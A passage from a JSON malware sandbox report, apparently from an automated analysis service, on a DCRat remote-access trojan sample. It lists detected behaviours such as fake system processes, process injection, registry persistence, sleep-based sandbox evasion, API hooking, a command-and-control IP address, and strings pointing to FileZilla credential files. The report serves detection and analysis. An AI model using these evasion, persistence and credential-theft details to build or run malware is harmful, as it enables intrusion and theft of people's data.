00000000-00003772.00000001.133404.02050000.00000004.mdmp]\n Observed email domain:\"c:\\windows\\system32\\dpmodemx.dll\" [Source: 00000000-00003772.00000001.133404.02050000.00000004.mdmp]\n Observed email domain:\"midimap.dll\" [Source: 00000000-00003772.00000001.133404.02050000.00000004.mdmp]\n Observed email domain:\"c:\\windows\\system32\\midimap.dll\" [Source: 00000000-00003772.00000001.133404.02050000.00000004.mdmp]\n Observed email domain:\"www.mail.google.com0\" [Source: 00000000-00003900.00000001.137884.03D60000.00000004.mdmp]\n Observed email domain:\"www.mail.google.com0\" [Source: 00000000-00004000.00000001.134249.04650000.00000004.mdmp]","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-169","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$44","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$45","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$46","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"POST / HTTP/1.1Host:\" (Indicator: \"HTTP/1.1\"; File: \"8B744166EECACE320158F4D0F704B13E.exe\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Network Related","name":"HTTP request contains Base64 encoded artifacts","description":"\".;'`\"\n \"_l1^a\"\n \"zi6k}|wM}o\"\n \";mviu7yf\"\n \"k|w\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00004000.00000000.133715.001C0000.00000004.mdmp\")\n Found reference to API \"SeDebugPrivilege\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00004000.00000000.133715.01F80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: 00000000-00004000-00000C29-1116079515","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"Win32API|Process and Thread Functions|TerminateProcess|uExitCode\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00003772.00000001.133404.04B30000.00000004.mdmp\")\n Found reference to API \"Win32API|Process and Thread Functions|TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00003772.00000001.133404.04B30000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"System Security","name":"Contains ability to use security policy setting (API string)","description":"Found reference to API \"SeAssignPrimaryTokenPrivilege\" (Indicator: \"SeAssignPrimaryTokenPrivilege\"; Source: \"00000000-00003772.00000001.133404.04B30000.00000004.mdmp\")\n Found reference to API \"SeIncreaseQuotaPrivilege\" (Indicator: \"SeIncreaseQuotaPrivilege\"; Source: \"00000000-00003772.00000001.133404.04B30000.00000004.mdmp\")\n Found reference to API \"SeRestorePrivilege\" (Indicator: \"SeRestorePrivilege\"; Source: \"00000000-00003772.00000001.133404.04B30000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1548","relevance":3,"id":"string-97","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" opened \"\\Device\\KsecDD\"\n \"mobsync.exe\" opened \"\\Device\\KsecDD\"\n \"smss.exe\" opened \"\\Device\\KsecDD\"\n \"explorer.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$4d","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to multiple windows system processes","description":"Found strings \"smss.exe,csrss.exe,wininit.exe,winlogon.exe,services.exe\" (Source: \"00000000-00003772.00000001.133404.02050000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":3,"id":"string-455","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Unusual Characteristics","name":"Possibly uses a Windows Server utility","description":"\"Register-CimProvider.exe\" (Indicator: \"register-cimprovider.exe\")\n \"C:\\Windows\\System32\\Register-CimProvider.exe\" (Indicator: \"register-cimprovider.exe\")","origin":"File/Memory","relevance":10,"id":"string-65","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"mobsync.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to evade analysis by sleeping many times","description":"\"smss.exe\" (Thread ID: 5268) slept \"525\" times (threshold: 500)","origin":"API Call","mitre_attack_id":"T1497.003","relevance":10,"id":"api-47","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"suspicious","category":"Environment Awareness","name":"Tries to sleep for a long time (more than two minutes)","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" sleeping for \"1566804069\" milliseconds\n \"mobsync.exe\" sleeping for \"1566804069\" milliseconds\n \"mobsync.exe\" sleeping for \"00600000\" milliseconds","origin":"API Call","mitre_attack_id":"T1497.003","relevance":10,"id":"api-24","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"smss.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"- Location: [%ALLUSERSPROFILE%\\Package Cache\\{410c0ee1-00bb-41b6-9772-e12c2828b02f}\\smss.exe]- [targetUID: 00000000-00003772]\n \"explorer.exe.bin\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"- [targetUID: N/A]\n \"explorer.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"- Location: [%WINDIR%\\py\\explorer.exe]- [targetUID: 00000000-00003772]\n \"smss.exe.bin\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"- [targetUID: N/A]\n \"mobsync.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"- Location: [%WINDIR%\\System32\\ntdll\\mobsync.exe]- [targetUID: 00000000-00004000]\n \"mobsync.exe.bin\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"- [targetUID: N/A]","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"$4e","origin":"Registry Access","mitre_attack_id":"T1547.001","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 78.24.221.196 on port 80 is sent without HTTP header\n TCP traffic to 78.24.221.196 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"suspicious","category":"Network Related","name":"Uses a browser-related user-agent without launching browser","description":"Found user-agent(s): Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - References common sandbox DLLs (sandbox evasion)","description":"YARA signature for common sandbox DLLs that are used for anti-sandbox techniques matched on process \"00000000-00003772\"","origin":"YARA Signature","mitre_attack_id":"T1497.001","relevance":5,"id":"yara-52","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"$4f","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found an instant messenger related domain","description":"\"login.skype.com0\" (Indicator: \"skype.com\")\n \"login.skype.com\" (Indicator: \"skype.com\")\n \"www.login.skype.com0\" (Indicator: \"skype.com\")","origin":"File/Memory","relevance":10,"id":"string-61","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found system commands related strings","description":"Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00003772.00000001.133404.000C0000.00000004.mdmp\")\n Found string \"PING.EXE\" (Indicator: \"ping.exe\"; Source: \"00000000-00003772.00000001.133404.02050000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"8B744166EECACE320158F4D0F704B13E.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" claimed CRC 2785722 while the actual is CRC 2836777","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Creates a fake system process","description":"Process \"smss.exe\" at non-system pathway \"%ALLUSERSPROFILE%\\Package Cache\\{410c0ee1-00bb-41b6-9772-e12c2828b02f}\\smss.exe\" (UID: 00000000-00005812)","origin":"Monitored Target","mitre_attack_id":"T1036.005","relevance":10,"id":"target-33","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Found a system process name at an unusual pathway","description":"Process \"smss.exe\" has a system process name but is not located in a Windows (sub-)directory (UID: 00000000-00005812)","origin":"Monitored Target","mitre_attack_id":"T1036.005","relevance":3,"id":"target-94","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Hooks file system APIs","description":"\"FindNextFileW@KERNEL32.DLL\" in \"smss.exe\"\n \"FindNextFileA@KERNEL32.DLL\" in \"smss.exe\"\n \"FindFirstFileA@KERNEL32.DLL\" in \"smss.exe\"\n \"FindFirstFileW@KERNEL32.DLL\" in \"smss.exe\"\n \"FindNextFileW@KERNEL32.DLL\" in \"explorer.exe\"\n \"FindNextFileA@KERNEL32.DLL\" in \"explorer.exe\"\n \"FindFirstFileA@KERNEL32.DLL\" in \"explorer.exe\"\n \"FindFirstFileW@KERNEL32.DLL\" in \"explorer.exe\"\n \"FindNextFileW@KERNEL32.DLL\" in \"mobsync.exe\"\n \"FindNextFileA@KERNEL32.DLL\" in \"mobsync.exe\"\n \"FindFirstFileA@KERNEL32.DLL\" in \"mobsync.exe\"\n \"FindFirstFileW@KERNEL32.DLL\" in \"mobsync.exe\"","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-2","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Windows system process connects to a network","description":"Process \"explorer.exe\" connects to 78.24.221.196:443","origin":"Monitored Target","mitre_attack_id":"T1055","relevance":7,"id":"target-269","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"level":"malicious","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET MALWARE DCRAT Activity (GET)\" (SID: 2034194, Rev: 5, Severity: 1) categorized as \"A Network Trojan was detected\" (PUA/PUP/Adware)","origin":"Suricata Alerts","relevance":10,"id":"suricata-2","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"13/22 Antivirus vendors marked dropped file \"smss.exe\" as malicious (classified as \"Gen:Variant.MSILHeracles\" with 59% detection rate)\n 13/22 Antivirus vendors marked dropped file \"explorer.exe.bin\" as malicious (classified as \"Gen:Variant.MSILHeracles\" with 59% detection rate)\n 13/22 Antivirus vendors marked dropped file \"explorer.exe\" as malicious (classified as \"Gen:Variant.MSILHeracles\" with 59% detection rate)\n 13/22 Antivirus vendors marked dropped file \"smss.exe.bin\" as malicious (classified as \"Gen:Variant.MSILHeracles\" with 59% detection rate)\n 13/22 Antivirus vendors marked dropped file \"mobsync.exe\" as malicious (classified as \"Gen:Variant.MSILHeracles\" with 59% detection rate)\n 13/22 Antivirus vendors marked dropped file \"mobsync.exe.bin\" as malicious (classified as \"Gen:Variant.MSILHeracles\" with 59% detection rate)","origin":"Binary File","mitre_attack_id":"T1204.002","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"13/22 Antivirus vendors marked spawned process \"mobsync.exe\" (PID: 4000) as malicious (classified as \"Gen:Variant.MSILHeracles\" with 59% detection rate)\n 13/22 Antivirus vendors marked spawned process \"smss.exe\" (PID: 5812) as malicious (classified as \"Gen:Variant.MSILHeracles\" with 59% detection rate)\n 13/22 Antivirus vendors marked spawned process \"explorer.exe\" (PID: 3900) as malicious (classified as \"Gen:Variant.MSILHeracles\" with 59% detection rate)\n 13/22 Antivirus vendors marked spawned process \"mobsync.exe\" (PID: 1400) as malicious (classified as \"Gen:Variant.MSILHeracles\" with 59% detection rate)","origin":"Monitored Target","mitre_attack_id":"T1204.002","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"malicious","category":"Installation/Persistence","name":"Allocates virtual memory in a remote process","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" allocated memory in \"C:\\8B744166EECACE320158F4D0F704B13E.exe\"","origin":"API Call","mitre_attack_id":"T1055","relevance":7,"id":"api-20","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\ntdll\\mobsync.exe\" (Handle: 1324)\n \"8B744166EECACE320158F4D0F704B13E.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\ntdll\\mobsync.exe\" (Handle: 1324)\n \"8B744166EECACE320158F4D0F704B13E.exe\" wrote 4 bytes to a remote process \"C:\\Windows\\System32\\ntdll\\mobsync.exe\" (Handle: 1324)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"malicious","category":"Network Related","name":"Found more than one unique user-agent","description":"Found the following user-agents: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36\n Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko)\n Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) Version/11.0 Mobile/15A5341f Safari/604.1\n Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-15","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match","description":"YARA signature \"MALWARE_Win_DCRat\" matched file \"mobsync.exe\" as \"DCRat payload\" (Author: ditekSHen)\n YARA signature \"MALWARE_Win_DCRat\" matched file \"smss.exe.bin\" as \"DCRat payload\" (Author: ditekSHen)\n YARA signature \"MALWARE_Win_DCRat\" matched file \"explorer.exe.bin\" as \"DCRat payload\" (Author: ditekSHen)\n YARA signature \"MALWARE_Win_DCRat\" matched file \"smss.exe\" as \"DCRat payload\" (Author: ditekSHen)\n YARA signature \"MALWARE_Win_DCRat\" matched file \"explorer.exe\" as \"DCRat payload\" (Author: ditekSHen)\n YARA signature \"MALWARE_Win_DCRat\" matched file \"mobsync.exe.bin\" as \"DCRat payload\" (Author: ditekSHen)\n YARA signature \"MALWARE_Win_DCRat\" matched file \"sample.bin\" as \"DCRat payload\" (Author: ditekSHen)","origin":"YARA Signature","relevance":9,"id":"yara-0","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Found FTP credentials location strings","description":"\"\\FileZilla\\sitemanager.xml\" (Indicator: \"sitemanager.xml\") in Source: 8B744166EECACE320158F4D0F704B13E.exe\n \"Other/FileZilla#sitemanager.xml\" (Indicator: \"sitemanager.xml\") in Source: 8B744166EECACE320158F4D0F704B13E.exe\n \"\\FileZilla\\recentservers.xml\" (Indicator: \"recentservers.xml\") in Source: 8B744166EECACE320158F4D0F704B13E.exe\n \"Other/FileZilla#recentservers.xml\" (Indicator: \"recentservers.xml\") in Source: 8B744166EECACE320158F4D0F704B13E.exe","origin":"File/Memory","mitre_attack_id":"T1552.001","relevance":6,"id":"string-11","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Hooks internet related APIs","description":"\"send@WS2_32.DLL\" in \"smss.exe\"\n \"send@WS2_32.DLL\" in \"explorer.exe\"\n \"send@WS2_32.DLL\" in \"mobsync.exe\"","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-5","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"Spawned process \"8B744166EECACE320158F4D0F704B13E.exe\" (UID: 00000000-00003772)\n Spawned process \"mobsync.exe\" (UID: 00000000-00004000)\n Spawned process \"smss.exe\" (UID: 00000000-00005812)\n Spawned process \"explorer.exe\" (UID: 00000000-00003900)\n Spawned process \"mobsync.exe\" (UID: 00000000-00001400)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"751385664,3592,3024,,RtlGetVersion,NTDLL.dll,\"252:35:32.192\",RX=0,PX=0\" (Indicator: \"GetVersion\"; Source: \"00000000-00003548.00000000.184818.00510000.00000004.mdmp, 00000000-00003548.00000001.185285.00510000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00002884.00000001.186861.00290000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Copy files into temp folder","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" copies C:\\8B744166EECACE320158F4D0F704B13E.exe to temp folder %PROGRAMFILES%\\(x86)\\Google\\Temp\\Idle.exe (UID: 00000000-00000852)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-268","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" writes to a file \"C:\\Program Files (x86)\\Google\\Temp\\Idle.exe\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in program files directory","description":"$50","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-113","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to access clipboard data (API string)","description":"Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; Source: \"00000000-00002884.00000001.186861.00290000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-188","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"Found reference to API \"GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00004648.00000001.188811.00660000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about operating system (API string)","description":"Found reference to API \"751385664,3592,3024,,RtlGetVersion,NTDLL.dll,\"252:35:32.192\",RX=0,PX=0\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00003548.00000000.184818.00510000.00000004.mdmp, 00000000-00003548.00000001.185285.00510000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files","description":"Observed string: \"del\" (Indicator: \"del\") in Source: 00000000-00004648.00000000.188101.00690000.00000004.mdmp\n 00000000-00004648.00000001.188811.00690000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-408","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"8B744166EECACE320158F4D0F704B13E.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 852)\n \"OSPPSVC.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 3548)\n \"OSPPSVC.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 2884)\n \"taskhost.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 4648)\n \"wininit.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 3036)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Uses a .NET obfuscator to hide its code","description":"\"elected compression algorithm is not supported.\" is a hint for the obfuscator \"MPRESS\"\n \"SmartAssembly.Attributes\" is a hint for the obfuscator \"Smart Assembly\"\n \"#Powered by SmartAssembly 8.0.3.4821\" is a hint for the obfuscator \"Smart Assembly\"\n \"Switch.System.IO.Compression.DoNotUseNativeZipLibraryForDecompression\" is a hint for the obfuscator \"MPRESS\"\n \"SmartAssembly.HouseOfCards\" is a hint for the obfuscator \"Smart Assembly\"\n \"SmartAssembly.Delegates\" is a hint for the obfuscator \"Smart Assembly\"\n \"#Powered by SmartAssembly 8.0.4.4860\" is a hint for the obfuscator \"Smart Assembly\"","origin":"File/Memory","mitre_attack_id":"T1140","relevance":2,"id":"string-6","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"level":"malicious","category":"Installation/Persistence","name":"Drops executable files to the Windows system directory","description":"File type \"PE32 executable 